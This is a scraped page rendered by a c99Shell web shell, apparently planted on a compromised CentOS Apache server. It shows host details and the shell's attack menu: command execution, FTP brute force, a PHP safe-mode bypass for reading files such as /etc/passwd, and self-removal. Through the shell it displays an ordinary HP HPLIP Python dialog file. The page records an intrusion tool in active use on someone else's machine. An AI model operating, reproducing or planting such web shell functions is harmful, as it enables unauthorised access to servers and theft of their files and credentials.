!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/share/hplip/plugins/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.92%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     powersettingsdialog.py (2.96 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
# -*- coding: utf-8 -*-
#
# (c) Copyright 2001-2006 Hewlett-Packard Development Company, L.P.
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307 USA
#
# Author: Don Welch
#

from base.g import *
import powersettings

from qt import *
from powersettingsdialog_base import PowerSettingsDialog_base


class PowerSettingsDialog(PowerSettingsDialog_base):

    def __init__(self,value,parent = None,name = None,modal = 0,fl = 0):
        PowerSettingsDialog_base.__init__(self,parent,name,modal,fl)
        self.setting = 0 # 0=never off, 1=timed off

        log.debug("Initializing plugin dialog with power setting: %s" % value)

        self.power_setting_table = {0 : (self.__tr("15 minutes"), '015'),
                                     1 : (self.__tr("30 minutes"), '030'),
                                     2 : (self.__tr("45 minutes"), '045'),
                                     3 : (self.__tr("1 hour"), '060'),
                                     4 : (self.__tr("2 hours"), '120'),
                                     5 : (self.__tr("3 hours"), '180'),
                                    }

        for x in self.power_setting_table:
            self.power_setting_combo.insertItem(self.power_setting_table[x][0], x)

        if value == '999':
            self.power_setting.setButton(0)
            #self.setting = 0
        else:
            self.power_setting.setButton(1)
            self.setting = 1

            for x in self.power_setting_table:
                if self.power_setting_table[x][1] == value:
                    self.power_setting_combo.setCurrentItem(x)


    def power_setting_clicked(self,a0):
        self.setting = a0
        log.debug("Setting (0=Always on/1=Timed off): %s" % a0)

    def getValue(self):
        return self.power_setting_table[self.power_setting_combo.currentItem()][1]

    def __tr(self,s,c = None):
        return qApp.translate("PowerSettingsDialog",s,c)


def settingsUI(d, parent=None):

    value = powersettings.getPowerSettings(d)
    log.debug("Battery power settings: %s" % value)

    dlg = PowerSettingsDialog(value, parent)

    if dlg.exec_loop() == QDialog.Accepted:
        value = dlg.getValue()
        log.debug("Power setting set to %s in dialog" % value)

        if dlg.setting == 0:
            powersettings.setPowerSettings(d, '999')
        else:
            powersettings.setPowerSettings(d, value)


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.016 ]--